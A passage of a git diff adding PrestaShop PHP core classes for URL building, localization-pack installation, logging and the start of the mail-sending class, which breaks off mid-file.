Dispatcher::getInstance(); + + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + if (!$id_shop) + $shop = Context::getContext()->shop; + else + $shop = new Shop($id_shop); + + $url = 'http://'.$shop->domain.$shop->getBaseURI().$this->getLangLink($id_lang); + + if (!is_object($product)) + { + if (is_array($product) && isset($product['id_product'])) + $product = new Product($product['id_product'], false, $id_lang); + else if (is_numeric($product) || !$product) + $product = new Product($product, false, $id_lang); + else + throw new PrestaShopException('Invalid product vars'); + } + + // Set available keywords + $params = array(); + $params['id'] = $product->id; + $params['rewrite'] = (!$alias) ? $product->getFieldByLang('link_rewrite') : $alias; + $params['ean13'] = (!$ean13) ? $product->ean13 : $ean13; + $params['meta_keywords'] = Tools::str2url($product->getFieldByLang('meta_keywords')); + $params['meta_title'] = Tools::str2url($product->getFieldByLang('meta_title')); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'manufacturer')) + $params['manufacturer'] = Tools::str2url($product->isFullyLoaded ? $product->manufacturer_name : Manufacturer::getNameById($product->id_manufacturer)); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'supplier')) + $params['supplier'] = Tools::str2url($product->isFullyLoaded ? $product->supplier_name : Supplier::getNameById($product->id_supplier)); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'price')) + $params['price'] = $product->isFullyLoaded ? $product->price : Product::getPriceStatic($product->id, false, null, 6, null, false, true, 1, false, null, null, null, $product->specificPrice); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'tags')) + $params['tags'] = Tools::str2url($product->getTags($id_lang)); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'category')) + $params['category'] = Tools::str2url($product->category); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'reference')) + $params['reference'] = Tools::str2url($product->reference); + + if ($dispatcher->hasKeyword('product_rule', $id_lang, 'categories')) + { + $params['category'] = (!$category) ? $product->category : $category; + $cats = array(); + foreach ($product->getParentCategories() as $cat) + if (!in_array($cat['id_category'], Link::$category_disable_rewrite))//remove root and home category from the URL + $cats[] = $cat['link_rewrite']; + $params['categories'] = implode('/', $cats); + } + $anchor = $ipa ? $product->getAnchor($ipa) : ''; + + return $url.$dispatcher->createUrl('product_rule', $id_lang, $params, $force_routes, $anchor); + } + + /** + * Create a link to a category + * + * @param mixed $category Category object (can be an ID category, but deprecated) + * @param string $alias + * @param int $id_lang + * @param string $selected_filters Url parameter to autocheck filters of the module blocklayered + * @return string + */ + public function getCategoryLink($category, $alias = null, $id_lang = null, $selected_filters = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $url = _PS_BASE_URL_.__PS_BASE_URI__.$this->getLangLink($id_lang); + + if (!is_object($category)) + $category = new Category($category, $id_lang); + + // Set available keywords + $params = array(); + $params['id'] = $category->id; + $params['rewrite'] = (!$alias) ? $category->link_rewrite : $alias; + $params['meta_keywords'] = Tools::str2url($category->meta_keywords); + $params['meta_title'] = Tools::str2url($category->meta_title); + + // Selected filters is used by the module blocklayered + $selected_filters = is_null($selected_filters) ? '' : $selected_filters; + + if (empty($selected_filters)) + $rule = 'category_rule'; + else + { + $rule = 'layered_rule'; + $params['selected_filters'] = $selected_filters; + } + + return $url.Dispatcher::getInstance()->createUrl($rule, $id_lang, $params, $this->allow); + } + + /** + * Create a link to a CMS category + * + * @param mixed $category CMSCategory object (can be an ID category, but deprecated) + * @param string $alias + * @param int $id_lang + * @return string + */ + public function getCMSCategoryLink($category, $alias = null, $id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + $url = _PS_BASE_URL_.__PS_BASE_URI__.$this->getLangLink($id_lang); + + if (!is_object($category)) + $category = new CMSCategory($category, $id_lang); + + // Set available keywords + $params = array(); + $params['id'] = $category->id; + $params['rewrite'] = (!$alias) ? $category->link_rewrite : $alias; + $params['meta_keywords'] = Tools::str2url($category->meta_keywords); + $params['meta_title'] = Tools::str2url($category->meta_title); + + return $url.Dispatcher::getInstance()->createUrl('cms_category_rule', $id_lang, $params, $this->allow); + } + + /** + * Create a link to a CMS page + * + * @param mixed $cms CMS object (can be an ID CMS, but deprecated) + * @param string $alias + * @param bool $ssl + * @param int $id_lang + * @return string + */ + public function getCMSLink($cms, $alias = null, $ssl = false, $id_lang = null) + { + $base = (($ssl && $this->ssl_enable) ? _PS_BASE_URL_SSL_ : _PS_BASE_URL_); + + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $url = $base.__PS_BASE_URI__.$this->getLangLink($id_lang); + + if (!is_object($cms)) + $cms = new CMS($cms, $id_lang); + + // Set available keywords + $params = array(); + $params['id'] = $cms->id; + $params['rewrite'] = (!$alias) ? (is_array($cms->link_rewrite) ? $cms->link_rewrite[(int)$id_lang] : $cms->link_rewrite) : $alias; + + if (isset($cms->meta_keywords) && !empty($cms->meta_keywords)) + $params['meta_keywords'] = is_array($cms->meta_keywords) ? Tools::str2url($cms->meta_keywords[(int)$id_lang]) : Tools::str2url($cms->meta_keywords); + else + $params['meta_keywords'] = ''; + + if (isset($cms->meta_title) && !empty($cms->meta_title)) + $params['meta_title'] = is_array($cms->meta_title) ? Tools::str2url($cms->meta_title[(int)$id_lang]) : Tools::str2url($cms->meta_title); + else + $params['meta_title'] = ''; + + return $url.Dispatcher::getInstance()->createUrl('cms_rule', $id_lang, $params, $this->allow); + } + + /** + * Create a link to a supplier + * + * @param mixed $supplier Supplier object (can be an ID supplier, but deprecated) + * @param string $alias + * @param int $id_lang + * @return string + */ + public function getSupplierLink($supplier, $alias = null, $id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $url = _PS_BASE_URL_.__PS_BASE_URI__.$this->getLangLink($id_lang); + + if (!is_object($supplier)) + $supplier = new Supplier($supplier, $id_lang); + + // Set available keywords + $params = array(); + $params['id'] = $supplier->id; + $params['rewrite'] = (!$alias) ? $supplier->link_rewrite : $alias; + $params['meta_keywords'] = Tools::str2url($supplier->meta_keywords); + $params['meta_title'] = Tools::str2url($supplier->meta_title); + + return $url.Dispatcher::getInstance()->createUrl('supplier_rule', $id_lang, $params, $this->allow); + } + + /** + * Create a link to a manufacturer + * + * @param mixed $manufacturer Manufacturer object (can be an ID supplier, but deprecated) + * @param string $alias + * @param int $id_lang + * @return string + */ + public function getManufacturerLink($manufacturer, $alias = null, $id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $url = _PS_BASE_URL_.__PS_BASE_URI__.$this->getLangLink($id_lang); + + if (!is_object($manufacturer)) + $manufacturer = new Manufacturer($manufacturer, $id_lang); + + // Set available keywords + $params = array(); + $params['id'] = $manufacturer->id; + $params['rewrite'] = (!$alias) ? $manufacturer->link_rewrite : $alias; + $params['meta_keywords'] = Tools::str2url($manufacturer->meta_keywords); + $params['meta_title'] = Tools::str2url($manufacturer->meta_title); + + return $url.Dispatcher::getInstance()->createUrl('manufacturer_rule', $id_lang, $params, $this->allow); + } + + /** + * Create a link to a module + * + * @since 1.5.0 + * @param string $module Module name + * @param string $process Action name + * @param int $id_lang + * @return string + */ + public function getModuleLink($module, $controller = 'default', array $params = array(), $ssl = false, $id_lang = null) + { + $base = (($ssl && $this->ssl_enable) ? _PS_BASE_URL_SSL_ : _PS_BASE_URL_); + + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $url = $base.__PS_BASE_URI__.$this->getLangLink($id_lang); + + // Set available keywords + $params['module'] = $module; + $params['controller'] = $controller ? $controller : 'default'; + + // If the module has its own route ... just use it ! + if (Dispatcher::getInstance()->hasRoute('module-'.$module.'-'.$controller, $id_lang)) + return $this->getPageLink('module-'.$module.'-'.$controller, $ssl, $id_lang, $params); + else + return $url.Dispatcher::getInstance()->createUrl('module', $id_lang, $params, $this->allow); + } + + /** + * Use controller name to create a link + * + * @param string $controller + * @param boolean $with_token include or not the token in the url + * @return controller url + */ + public function getAdminLink($controller, $with_token = true) + { + $id_lang = Context::getContext()->language->id; + + $params = $with_token ? array('token' => Tools::getAdminTokenLite($controller)) : array(); + return Dispatcher::getInstance()->createUrl($controller, $id_lang, $params, false); + } + + /** + * Returns a link to a product image for display + * Note: the new image filesystem stores product images in subdirectories of img/p/ + * + * @param string $name rewrite link of the image + * @param string $ids id part of the image filename - can be "id_product-id_image" (legacy support, recommended) or "id_image" (new) + * @param string $type + */ + public function getImageLink($name, $ids, $type = null) + { + $not_default = false; + // legacy mode or default image + $theme = ((Shop::isFeatureActive() && file_exists(_PS_PROD_IMG_DIR_.$ids.($type ? '-'.$type : '').'-'.(int)Context::getContext()->shop->id_theme.'.jpg')) ? '-'.Context::getContext()->shop->id_theme : ''); + if ((Configuration::get('PS_LEGACY_IMAGES') + && (file_exists(_PS_PROD_IMG_DIR_.$ids.($type ? '-'.$type : '').$theme.'.jpg'))) + || ($not_default = strpos($ids, 'default') !== false)) + { + if ($this->allow == 1 && !$not_default) + $uri_path = __PS_BASE_URI__.$ids.($type ? '-'.$type : '').$theme.'/'.$name.'.jpg'; + else + $uri_path = _THEME_PROD_DIR_.$ids.($type ? '-'.$type : '').$theme.'.jpg'; + } + else + { + // if ids if of the form id_product-id_image, we want to extract the id_image part + $split_ids = explode('-', $ids); + $id_image = (isset($split_ids[1]) ? $split_ids[1] : $split_ids[0]); + $theme = ((Shop::isFeatureActive() && file_exists(_PS_PROD_IMG_DIR_.Image::getImgFolderStatic($id_image).$id_image.($type ? '-'.$type : '').'-'.(int)Context::getContext()->shop->id_theme.'.jpg')) ? '-'.Context::getContext()->shop->id_theme : ''); + if ($this->allow == 1) + $uri_path = __PS_BASE_URI__.$id_image.($type ? '-'.$type : '').$theme.'/'.$name.'.jpg'; + else + $uri_path = _THEME_PROD_DIR_.Image::getImgFolderStatic($id_image).$id_image.($type ? '-'.$type : '').$theme.'.jpg'; + } + + return $this->protocol_content.Tools::getMediaServer($uri_path).$uri_path; + } + + public function getMediaLink($filepath) + { + return Tools::getProtocol().Tools::getMediaServer($filepath).$filepath; + } + + /** + * Create a simple link + * + * @param string $controller + * @param bool $ssl + * @param int $id_lang + * @param string|array $request + * @param bool $request_url_encode Use URL encode + * + * @return string Page link + */ + public function getPageLink($controller, $ssl = false, $id_lang = null, $request = null, $request_url_encode = false) + { + $controller = Tools::strReplaceFirst('.php', '', $controller); + + if (!$id_lang) + $id_lang = (int)Context::getContext()->language->id; + + if (!is_array($request)) + { + // @FIXME html_entity_decode has been added due to '&' => '%3B' ... + $request = html_entity_decode($request); + if ($request_url_encode) + $request = urlencode($request); + parse_str($request, $request); + } + + $uri_path = Dispatcher::getInstance()->createUrl($controller, $id_lang, $request); + $url = ($ssl && $this->ssl_enable) ? Tools::getShopDomainSsl(true) : Tools::getShopDomain(true); + $url .= __PS_BASE_URI__.$this->getLangLink($id_lang).ltrim($uri_path, '/'); + + return $url; + } + + public function getCatImageLink($name, $id_category, $type = null) + { + $uri_path = ($this->allow == 1) ? (__PS_BASE_URI__.'c/'.$id_category.($type ? '-'.$type : '').'/'.$name.'.jpg') : (_THEME_CAT_DIR_.$id_category.($type ? '-'.$type : '').'.jpg'); + return $this->protocol_content.Tools::getMediaServer($uri_path).$uri_path; + } + + /** + * Create link after language change, for the change language block + * + * @param integer $id_lang Language ID + * @return string link + */ + public function getLanguageLink($id_lang, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $params = $_GET; + unset($params['isolang'], $params['controller']); + + if (!$this->allow) + $params['id_lang'] = $id_lang; + else + unset($params['id_lang']); + + $controller = Dispatcher::getInstance()->getController(); + if (!empty(Context::getContext()->controller->php_self)) + $controller = Context::getContext()->controller->php_self; + + if ($controller == 'product' && isset($params['id_product'])) + return $this->getProductLink((int)$params['id_product'], null, null, null, (int)$id_lang); + elseif ($controller == 'category' && isset($params['id_category'])) + return $this->getCategoryLink((int)$params['id_category'], null, (int)$id_lang); + elseif ($controller == 'supplier' && isset($params['id_supplier'])) + return $this->getSupplierLink((int)$params['id_supplier'], null, (int)$id_lang); + elseif ($controller == 'manufacturer' && isset($params['id_manufacturer'])) + return $this->getManufacturerLink((int)$params['id_manufacturer'], null, (int)$id_lang); + elseif ($controller == 'cms' && isset($params['id_cms'])) + return $this->getCMSLink((int)$params['id_cms'], null, false, (int)$id_lang); + elseif ($controller == 'cms' && isset($params['id_cms_category'])) + return $this->getCMSCategoryLink((int)$params['id_cms_category'], null, (int)$id_lang); + + return $this->getPageLink($controller, false, $id_lang, $params); + } + + public function goPage($url, $p) + { + return $url.($p == 1 ? '' : (!strstr($url, '?') ? '?' : '&').'p='.(int)$p); + } + + /** + * Get pagination link + * + * @param string $type Controller name + * @param int $id_object + * @param boolean $nb Show nb element per page attribute + * @param boolean $sort Show sort attribute + * @param boolean $pagination Show page number attribute + * @param boolean $array If false return an url, if true return an array + */ + public function getPaginationLink($type, $id_object, $nb = false, $sort = false, $pagination = false, $array = false) + { + // If no parameter $type, try to get it by using the controller name + if (!$type && !$id_object) + { + $method_name = 'get'.Dispatcher::getInstance()->getController().'Link'; + if (method_exists($this, $method_name) && isset($_GET['id_'.Dispatcher::getInstance()->getController()])) + { + $type = Dispatcher::getInstance()->getController(); + $id_object = $_GET['id_'.$type]; + } + } + + if ($type && $id_object) + $url = $this->{'get'.$type.'Link'}($id_object, null); + else + { + if (isset(Context::getContext()->controller->php_self)) + $name = Context::getContext()->controller->php_self; + else + $name = Dispatcher::getInstance()->getController(); + $url = $this->getPageLink($name); + } + + $vars = array(); + $vars_nb = array('n', 'search_query'); + $vars_sort = array('orderby', 'orderway'); + $vars_pagination = array('p'); + + foreach ($_GET as $k => $value) + { + if ($k != 'id_'.$type && $k != 'controller') + { + if (Configuration::get('PS_REWRITING_SETTINGS') && ($k == 'isolang' || $k == 'id_lang')) + continue; + $if_nb = (!$nb || ($nb && !in_array($k, $vars_nb))); + $if_sort = (!$sort || ($sort && !in_array($k, $vars_sort))); + $if_pagination = (!$pagination || ($pagination && !in_array($k, $vars_pagination))); + if ($if_nb && $if_sort && $if_pagination) + { + if (!is_array($value)) + $vars[urlencode($k)] = $value; + else + { + foreach (explode('&', http_build_query(array($k => $value), '', '&')) as $key => $val) + { + $data = explode('=', $val); + $vars[urldecode($data[0])] = $data[1]; + } + } + } + } + } + + if (!$array) + if (count($vars)) + return $url.(($this->allow == 1 || $url == $this->url) ? '?' : '&').http_build_query($vars, '', '&'); + else + return $url; + + $vars['requestUrl'] = $url; + + if ($type && $id_object) + $vars['id_'.$type] = (is_object($id_object) ? (int)$id_object->id : (int)$id_object); + + if (!$this->allow == 1) + $vars['controller'] = Dispatcher::getInstance()->getController(); + return $vars; + } + + public function addSortDetails($url, $orderby, $orderway) + { + return $url.(!strstr($url, '?') ? '?' : '&').'orderby='.urlencode($orderby).'&orderway='.urlencode($orderway); + } + + protected function getLangLink($id_lang = null, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + if (!$this->allow || !Language::isMultiLanguageActivated()) + return ''; + + if (!$id_lang) + $id_lang = $context->language->id; + + return Language::getIsoById($id_lang).'/'; + } +} + diff --git a/classes/LocalizationPack.php b/classes/LocalizationPack.php new file mode 100755 index 0000000..133ad85 --- /dev/null +++ b/classes/LocalizationPack.php @@ -0,0 +1,413 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(_PS_TOOL_DIR_.'tar/Archive_Tar.php'); + +class LocalizationPackCore +{ + public $name; + public $version; + + protected $iso_code_lang; + protected $iso_currency; + protected $_errors = array(); + + public function loadLocalisationPack($file, $selection, $install_mode = false) + { + if (!$xml = simplexml_load_string($file)) + return false; + $main_attributes = $xml->attributes(); + $this->name = (string)$main_attributes['name']; + $this->version = (string)$main_attributes['version']; + if (empty($selection)) + { + $res = true; + $res &= $this->_installStates($xml); + $res &= $this->_installTaxes($xml); + $res &= $this->_installCurrencies($xml, $install_mode); + $res &= $this->_installUnits($xml); + $res &= $this->installConfiguration($xml); + $res &= $this->installModules($xml); + $res &= $this->_installLanguages($xml, $install_mode); + + if ($res && isset($this->iso_code_lang)) + { + if (!$id_lang = (int)Language::getIdByIso($this->iso_code_lang)) + $id_lang = 1; + if (!$install_mode) + Configuration::updateValue('PS_LANG_DEFAULT', $id_lang); + } + + if ($install_mode && $res && isset($this->iso_currency)) + { + $res &= Configuration::updateValue('PS_CURRENCY_DEFAULT', (int)Currency::getIdByIsoCode($this->iso_currency)); + Currency::refreshCurrencies(); + } + + return $res; + } + foreach ($selection as $selected) + if (!Validate::isLocalizationPackSelection($selected) || !$this->{'_install'.ucfirst($selected)}($xml)) + return false; + + return true; + } + + protected function _installStates($xml) + { + if (isset($xml->states->state)) + foreach ($xml->states->state as $data) + { + $attributes = $data->attributes(); + if (!$id_state = State::getIdByName($attributes['name'])) + { + $state = new State(); + $state->name = strval($attributes['name']); + $state->iso_code = strval($attributes['iso_code']); + $state->id_country = Country::getByIso(strval($attributes['country'])); + + $id_zone = (int)Zone::getIdByName(strval($attributes['zone'])); + if (!$id_zone) + { + $zone = new Zone(); + $zone->name = (string)$attributes['zone']; + $zone->active = true; + + if (!$zone->add()) + { + $this->_errors[] = Tools::displayError('Invalid Zone name.'); + return false; + } + + $id_zone = $zone->id; + } + + $state->id_zone = $id_zone; + + if (!$state->validateFields()) + { + $this->_errors[] = Tools::displayError('Invalid state properties.'); + return false; + } + + $country = new Country($state->id_country); + if (!$country->contains_states) + { + $country->contains_states = 1; + if (!$country->update()) + $this->_errors[] = Tools::displayError('Cannot update the associated country: ').$country->name; + } + + if (!$state->add()) + { + $this->_errors[] = Tools::displayError('An error occurred while adding the state.'); + return false; + } + } else { + $state = new State($id_state); + if (!Validate::isLoadedObject($state)) + { + $this->_errors[] = Tools::displayError('An error occurred while fetching the state.'); + return false; + } + } + } + + return true; + } + + protected function _installTaxes($xml) + { + if (isset($xml->taxes->tax)) + { + $assoc_taxes = array(); + foreach ($xml->taxes->tax as $taxData) + { + $attributes = $taxData->attributes(); + if (Tax::getTaxIdByName($attributes['name'])) + continue; + $tax = new Tax(); + $tax->name[(int)Configuration::get('PS_LANG_DEFAULT')] = (string)$attributes['name']; + $tax->rate = (float)$attributes['rate']; + $tax->active = 1; + + if (($error = $tax->validateFields(false, true)) !== true || ($error = $tax->validateFieldsLang(false, true)) !== true) + { + $this->_errors[] = Tools::displayError('Invalid tax properties.').' '.$error; + return false; + } + + if (!$tax->add()) + { + $this->_errors[] = Tools::displayError('An error occurred while importing the tax: ').(string)$attributes['name']; + return false; + } + + $assoc_taxes[(int)$attributes['id']] = $tax->id; + } + + foreach ($xml->taxes->taxRulesGroup as $group) + { + $group_attributes = $group->attributes(); + if (!Validate::isGenericName($group_attributes['name'])) + continue; + + if (TaxRulesGroup::getIdByName($group['name'])) + continue; + + $trg = new TaxRulesGroup(); + $trg->name = $group['name']; + $trg->active = 1; + + if (!$trg->save()) + { + $this->_errors[] = Tools::displayError('This tax rule cannot be saved.'); + return false; + } + + foreach ($group->taxRule as $rule) + { + $rule_attributes = $rule->attributes(); + + // Validation + if (!isset($rule_attributes['iso_code_country'])) + continue; + + $id_country = Country::getByIso(strtoupper($rule_attributes['iso_code_country'])); + if (!$id_country) + continue; + + if (!isset($rule_attributes['id_tax']) || !array_key_exists(strval($rule_attributes['id_tax']), $assoc_taxes)) + continue; + + // Default values + $id_state = (int)isset($rule_attributes['iso_code_state']) ? State::getIdByIso(strtoupper($rule_attributes['iso_code_state'])) : 0; + $id_county = 0; + $zipcode_from = 0; + $zipcode_to = 0; + $behavior = $rule_attributes['behavior']; + + if (isset($rule_attributes['zipcode_from'])) + { + $zipcode_from = $rule_attributes['zipcode_from']; + if (isset($rule_attributes['zipcode_to'])) + $zipcode_to = $rule_attributes['zipcode_to']; + } + + // Creation + $tr = new TaxRule(); + $tr->id_tax_rules_group = $trg->id; + $tr->id_country = $id_country; + $tr->id_state = $id_state; + $tr->id_county = $id_county; + $tr->zipcode_from = $zipcode_from; + $tr->zipcode_to = $zipcode_to; + $tr->behavior = $behavior; + $tr->description = ''; + $tr->id_tax = $assoc_taxes[strval($rule_attributes['id_tax'])]; + $tr->save(); + } + } + } + return $this->updateDefaultGroupDisplayMethod($xml); + } + + protected function _installCurrencies($xml, $install_mode = false) + { + if (isset($xml->currencies->currency)) + { + + + foreach ($xml->currencies->currency as $data) + { + $attributes = $data->attributes(); + if (Currency::exists($attributes['iso_code'], (int)$attributes['iso_code_num'])) + continue; + $currency = new Currency(); + $currency->name = (string)$attributes['name']; + $currency->iso_code = (string)$attributes['iso_code']; + $currency->iso_code_num = (int)$attributes['iso_code_num']; + $currency->sign = (string)$attributes['sign']; + $currency->blank = (int)$attributes['blank']; + $currency->conversion_rate = 1; // This value will be updated if the store is online + $currency->format = (int)$attributes['format']; + $currency->decimals = (int)$attributes['decimals']; + $currency->active = $install_mode; + if (!$currency->validateFields()) + { + $this->_errors[] = Tools::displayError('Invalid currency properties.'); + return false; + } + if (!Currency::exists($currency->iso_code, $currency->iso_code_num)) + { + if (!$currency->add()) + { + $this->_errors[] = Tools::displayError('An error occurred while importing the currency: ').strval($attributes['name']); + return false; + } + + PaymentModule::addCurrencyPermissions($currency->id); + } + } + if (!$feed = Tools::simplexml_load_file('http://api.prestashop.com/xml/currencies.xml')) + $this->_errors[] = Tools::displayError('Cannot parse the currencies XML feed.'); + else + Currency::refreshCurrencies(); + + if (!count($this->_errors) && $install_mode && isset($attributes['iso_code']) && count($xml->currencies->currency) == 1) + $this->iso_currency = $attributes['iso_code']; + } + + return true; + } + + protected function _installLanguages($xml, $install_mode = false) + { + $attributes = array(); + if (isset($xml->languages->language)) + foreach ($xml->languages->language as $data) + { + $attributes = $data->attributes(); + // if we are not in an installation context or if the pack is not available in the local directory + if (Language::getIdByIso($attributes['iso_code']) && !$install_mode) + continue; + $errors = Language::downloadAndInstallLanguagePack($attributes['iso_code'], $attributes['version']); + if ($errors !== true && is_array($errors)) + $this->_errors = array_merge($this->_errors, $errors); + } + // change the default language if there is only one language in the localization pack + if (!count($this->_errors) && $install_mode && isset($attributes['iso_code']) && count($xml->languages->language) == 1) + $this->iso_code_lang = $attributes['iso_code']; + + return !count($this->_errors); + } + + protected function _installUnits($xml) + { + $varNames = array('weight' => 'PS_WEIGHT_UNIT', 'volume' => 'PS_VOLUME_UNIT', 'short_distance' => 'PS_DIMENSION_UNIT', 'base_distance' => 'PS_BASE_DISTANCE_UNIT', 'long_distance' => 'PS_DISTANCE_UNIT'); + if (isset($xml->units->unit)) + foreach ($xml->units->unit as $data) + { + $attributes = $data->attributes(); + if (!isset($varNames[strval($attributes['type'])])) + { + $this->_errors[] = Tools::displayError('Localization pack corrupted: wrong unit type.'); + return false; + } + if (!Configuration::updateValue($varNames[strval($attributes['type'])], strval($attributes['value']))) + { + $this->_errors[] = Tools::displayError('An error occurred while setting the units.'); + return false; + } + } + return true; + } + + /** + * Install/Uninstall a module from a localization file + * + * + */ + protected function installModules($xml) + { + if (isset($xml->modules)) + foreach ($xml->modules->module as $data) + { + $attributes = $data->attributes(); + $name = (string)$attributes['name']; + if (isset($name) && $module = Module::getInstanceByName($name)) + { + $install = ($attributes['install'] == 1) ? true : false; + + if ($install) + { + if (!Module::isInstalled($name)) + if (!$module->install()) + $this->_errors[] = Tools::displayError('An error occurred while installing the module:').$name; + } + else + if (Module::isInstalled($name)) + if (!$module->uninstall()) + $this->_errors[] = Tools::displayError('An error occurred while uninstalling the module:').$name; + + unset($module); + } + else + $this->_errors[] = Tools::displayError('An error has occurred, this module does not exist:').$name; + } + + return true; + } + + /** + * Update a configuration variable from a localization file + * + * + */ + protected function installConfiguration($xml) + { + if (isset($xml->configurations)) + foreach ($xml->configurations->configuration as $data) + { + $attributes = $data->attributes(); + $name = (string)$attributes['name']; + + if (isset($name) && isset($attributes['value']) && Configuration::get($name) !== false) + if (!Configuration::updateValue($name, (string)$attributes['value'])) + $this->_errors[] = Tools::displayError('An error occurred during the configuration setup: '.$name); + } + + return true; + } + + protected function updateDefaultGroupDisplayMethod($xml) + { + if (isset($xml->group_default)) + { + $attributes = $xml->group_default->attributes(); + if (isset($attributes['price_display_method']) && in_array((int)$attributes['price_display_method'], array(0, 1))) + { + foreach (array((int)Configuration::get('PS_CUSTOMER_GROUP'), (int)Configuration::get('PS_GUEST_GROUP'), (int)Configuration::get('PS_UNIDENTIFIED_GROUP')) as $id_group) + { + $group = new Group((int)$id_group); + $group->price_display_method = (int)$attributes['price_display_method']; + if (!$group->save()) + $this->_errors[] = Tools::displayError('An error occurred during the default group update'); + } + } + else + $this->_errors[] = Tools::displayError('An error has occurred during the default group update'); + } + + return true; + } + + public function getErrors() + { + return $this->_errors; + } +} + diff --git a/classes/Logger.php b/classes/Logger.php new file mode 100755 index 0000000..bed56b4 --- /dev/null +++ b/classes/Logger.php @@ -0,0 +1,163 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class LoggerCore extends ObjectModel +{ + /** @var integer Log id */ + public $id_log; + + /** @var integer Log severity */ + public $severity; + + /** @var integer Error code */ + public $error_code; + + /** @var string Message */ + public $message; + + /** @var string Object type (eg. Order, Customer...) */ + public $object_type; + + /** @var integer Object ID */ + public $object_id; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'log', + 'primary' => 'id_log', + 'fields' => array( + 'severity' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'error_code' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'message' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'required' => true), + 'object_id' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'object_type' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected static $is_present = array(); + + /** + * Send e-mail to the shop owner only if the minimal severity level has been reached + * + * @param Logger + * @param unknown_type $log + */ + public static function sendByMail($log) + { + if (intval(Configuration::get('PS_LOGS_BY_EMAIL')) <= intval($log->severity)) + Mail::Send( + (int)Configuration::get('PS_LANG_DEFAULT'), + 'log_alert', + Mail::l('Log: You have a new alert from your shop', (int)Configuration::get('PS_LANG_DEFAULT')), + array(), + Configuration::get('PS_SHOP_EMAIL') + ); + } + + /** + * add a log item to the database and send a mail if configured for this $severity + * + * @param string $message the log message + * @param int $severity + * @param int $error_code + * @param string $object_type + * @param int $object_id + * @param boolean $allow_duplicate if set to true, can log several time the same information (not recommended) + * @return boolean true if succeed + */ + public static function addLog($message, $severity = 1, $error_code = null, $object_type = null, $object_id = null, $allow_duplicate = false) + { + $log = new Logger(); + $log->severity = intval($severity); + $log->error_code = intval($error_code); + $log->message = pSQL($message); + $log->date_add = date('Y-m-d H:i:s'); + $log->date_upd = date('Y-m-d H:i:s'); + if (!empty($object_type) && !empty($object_id)) + { + $log->object_type = pSQL($object_type); + $log->object_id = intval($object_id); + } + + Logger::sendByMail($log); + + if ($allow_duplicate || !$log->_isPresent()) + { + $res = $log->add(); + if ($res) + { + self::$is_present[$log->getHash()] = isset(self::$is_present[$log->getHash()])?self::$is_present[$log->getHash()] + 1:1; + return true; + } + } + return false; + } + + /** + * this function md5($this->message.$this->severity.$this->error_code.$this->object_type.$this->object_id) + * + * @return string hash + */ + public function getHash() + { + if (empty($this->hash)) + $this->hash = md5($this->message.$this->severity.$this->error_code.$this->object_type.$this->object_id); + + return $this->hash; + } + + /** + * check if this log message already exists in database. + * + * @return true if exists + */ + protected function _isPresent() + { + if (!isset(self::$is_present[md5($this->message)])) + self::$is_present[$this->getHash()] = Db::getInstance()->getValue('SELECT COUNT(*) + FROM `'._DB_PREFIX_.'log` + WHERE + `message` = \''.$this->message.'\' + AND `severity` = \''.$this->severity.'\' + AND `error_code` = \''.$this->error_code.'\' + AND `object_type` = \''.$this->object_type.'\' + AND `object_id` = \''.$this->object_id.'\' + '); + + return self::$is_present[$this->getHash()]; + } +} + diff --git a/classes/Mail.php b/classes/Mail.php new file mode 100755 index 0000000..bc09523 --- /dev/null +++ b/classes/Mail.php @@ -0,0 +1,370 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(_PS_SWIFT_DIR_.'Swift.php'); +include_once(_PS_SWIFT_DIR_.'Swift/Connection/SMTP.php'); +include_once(_PS_SWIFT_DIR_.'Swift/Connection/NativeMail.php'); +include_once(_PS_SWIFT_DIR_.'Swift/Plugin/Decorator.php'); + +class MailCore +{ + const TYPE_HTML = 1; + const TYPE_TEXT = 2; + const TYPE_BOTH = 3; + + /** + * Send Email + * + * @param int $id_lang Language of the email (to translate the template) + * @param string $template Template: the name of template not be a var but a string ! + * @param string $subject + * @param string $template_vars + * @param string $to + * @param string $to_name + * @param string $from + * @param string $from_name + * @param array $file_attachment Array with three parameters (content, mime and name). You can use an array of array to attach multiple files + * @param bool $modeSMTP + * @param string $template_path + * @param bool $die + */ + public static function Send($id_lang, $template, $subject, $template_vars, $to, + $to_name = null, $from = null, $from_name = null, $file_attachment = null, $mode_smtp = null, $template_path = _PS_MAIL_DIR_, $die = false, $id_shop = null) + { + $configuration = Configuration::getMultiple(array( + 'PS_SHOP_EMAIL', + 'PS_MAIL_METHOD', + 'PS_MAIL_SERVER', + 'PS_MAIL_USER', + 'PS_MAIL_PASSWD', + 'PS_SHOP_NAME', + 